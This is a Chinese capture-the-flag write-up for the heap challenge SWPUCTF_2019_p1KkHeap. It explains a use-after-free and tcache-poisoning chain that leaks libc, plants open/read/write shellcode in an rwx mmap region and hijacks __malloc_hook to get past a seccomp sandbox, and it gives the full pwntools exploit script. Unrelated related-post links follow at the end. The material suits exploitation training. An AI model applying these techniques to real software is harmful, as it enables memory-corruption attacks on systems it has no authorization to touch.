SWPUCTF_2019_p1KkHeap
SWPUCTF_2019_p1KkHeap
环境:ubuntu18
考点:UAF,沙箱逃逸
ubuntu18现在不能构造double free了!!!
所以我用patchelf来做
IDA逆一下


可以看到这里mmap了一块可rwx的空间

思路:UAF来泄漏tcache地址,然后tcache投毒到tcache_perthread_struct结构体,污染结构体的size链和pointer链,size全填满使得后来堆块可以逃逸结构体,然后后续可改pointer链可以分配到任意地址。
分配到结构体,free后泄漏libc的地址,因为程序加了沙箱,所以改mmap出的一块可写空间,写入orw的shellcode,然后打malloc hook,为shellcode的地址,然后当我们申请堆块的时候程序自动读flag
1 '''
2 author: lemon
3 time: 2020-10-12
4 libc:libc-2.27.so
5 version: python3
6 '''
7
8 from pwn import *
9
10 local = 0
11
12 binary = "./SWPUCTF_2019_p1KkHeap"
13
14 if local == 1:
15 p = process(binary)
16 else:
17 p = remote("node3.buuoj.cn",28465)
18
19 def dbg():
20 context.log_level = 'debug'
21
22 context.terminal = ['tmux','splitw','-h']
23 context(arch = 'amd64',os = 'linux')
24
25 def add(size):
26 p.sendlineafter('Your Choice: ','1')
27 p.sendlineafter('size: ',str(size))
28
29 def show(index):
30 p.sendlineafter('Your Choice: ','2')
31 p.sendlineafter('id: ',str(index))
32
33 def edit(index,content):
34 p.sendlineafter('Your Choice: ','3')
35 p.sendlineafter('id: ',str(index))
36 p.sendafter('content: ',content)
37
38 def free(index):
39 p.sendlineafter('Your Choice: ','4')
40 p.sendlineafter('id: ',str(index))
41
42 libc = ELF("./libc-2.27.so")
43
44 add(0x90) #chunk0
45 free(0)
46 free(0)
47
48 show(0)
49 leak_tcache = u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00')) - 0x250
50 print("leak_tcache:",hex(leak_tcache))
51
52 add(0x90) #chunk1
53 edit(1,p64(leak_tcache))
54 add(0x90) #chunk2
55 add(0x90) #chunk3
56
57 edit(3,b'a' * 0x40) # fill in tcache about size area
58
59 free(3)
60 show(3)
61 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
62 __malloc_hook = libc_base + libc.sym['__malloc_hook']
63 #one_gadget_list = [0x4f2c5,0x4f332,0x10a38c]
64 #one_gadget = libc_base + one_gadget_list[0]
65
66 mmap = 0x66660000
67 shellcode = shellcraft.open('flag')
68 shellcode += shellcraft.read(3,mmap + 0x200,0x30)
69 shellcode += shellcraft.write(1,mmap + 0x200,0x30)
70 shellcode = asm(shellcode)
71 print("!!!!!shellcode length:",len(shellcode))
72
73 add(0x90) #chunk4
74
75 edit(4,b'a' * 0x40 + p64(__malloc_hook) + b'a' * (0x10) + p64(mmap))
76 add(0x40) #chunk5
77 edit(5,shellcode)
78
79 add(0x10) #chunk6: __malloc_hook we use it to jump shellcode
80 edit(6,p64(mmap))
81
82 add(1)
83
84 #gdb.attach(p)
85 p.interactive()

SWPUCTF_2019_p1KkHeap的更多相关文章
- SWPUCTF_2019_p1KkHeap(tcache_entry)
花了半天的时间去理解吃透这道题目,也参考了大佬的wp (1条消息) [pwn]SWPUCTF_2019_p1KkHeap_Nothing-CSDN博客. (1条消息) swpuctf2019 p1Kk ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
随机推荐
- element-ui upload上传文件并携带参数 使用formData对象
需求:上传文件的时候,需要携带其他的参数 问题:使用upload上传文件时,必须使用formData对象,而其他的参数通过data获取的到的,formData和data是不能同时传输的 解决:获取到的 ...
- springboot:druid 404
druid配置是在servlet中添加,所以需要servlet扫描 aplication里添加@ServletComponentScan("com")
- 华为云推UGO:一手抓结构迁移,一手抓SQL转换
摘要:UGO,一款专注于异构数据库对象迁移和应用迁移的专业化工具. 近日,华为云推出数据库和应用迁移 UGO,这是一款专注于异构数据库对象迁移和应用迁移的专业化工具,通过预迁移评估.结构迁移两大核心功 ...
- Oracle学习(六)存储过程
一.简介 1.定义 所谓存储过程,就是一段存储在数据库中执行某块业务功能的程序模块. 它是由一段或者多段的PL/SQL代码块或者SQL语句组成的一系列代码块. 2.结构分析 create [or re ...
- 有没有异常处理翻车过的,绩效还被打了C
絮叨 因为程序异常处理问题,就在前几天龙叔的服务挂了几秒钟. 完了,马上季度末打绩效,竟然在这里翻车了,心如刀绞啊. 虽然没有影响到用户体验,但是找到问题并解决掉问题是工程师日常追求之一. 作为一个优 ...
- 搭建Linux服务器
工欲善其事必先利其器, 虚拟机:百度云链接地址:https://pan.baidu.com/s/1_nWQh3WKF7xLs5-nmbZ8lA (Vmware 12 ) Linux 7:百度云链接 ...
- Python对象的空间边界:独善其身与开放包容
导读:Python猫是一只喵星来客,它爱地球的一切,特别爱优雅而无所不能的 Python.我是它的人类朋友豌豆花下猫,被授权润色与发表它的文章.如果你是第一次看到这个系列文章,那我强烈建议,请先看看它 ...
- Python-面向网络编程-socket原理
socket 整个计算机网络是由协议构成,想要通信必须遵守对应的协议,如Web中的http协议.传输协议TCP和UDP等等.在网络工程师的眼中,可能现在网络上的一切都是socket,一切皆socket ...
- Python-IndentationError: expected an indented block
Error: IndentationError: expected an indented block Where? Python代码执行时候报这个错误 Why? Python代码具有严格缩进规范,默 ...
- mysql-7-join
#进阶7:连接查询 /* 多表连接:查询的字段来自多个表 按功能分类: 内连接: 等值连接 非等值连接 自连接 外连接: 左外连接 右外连接 全外连接 交叉连接 */ USE girls; SELEC ...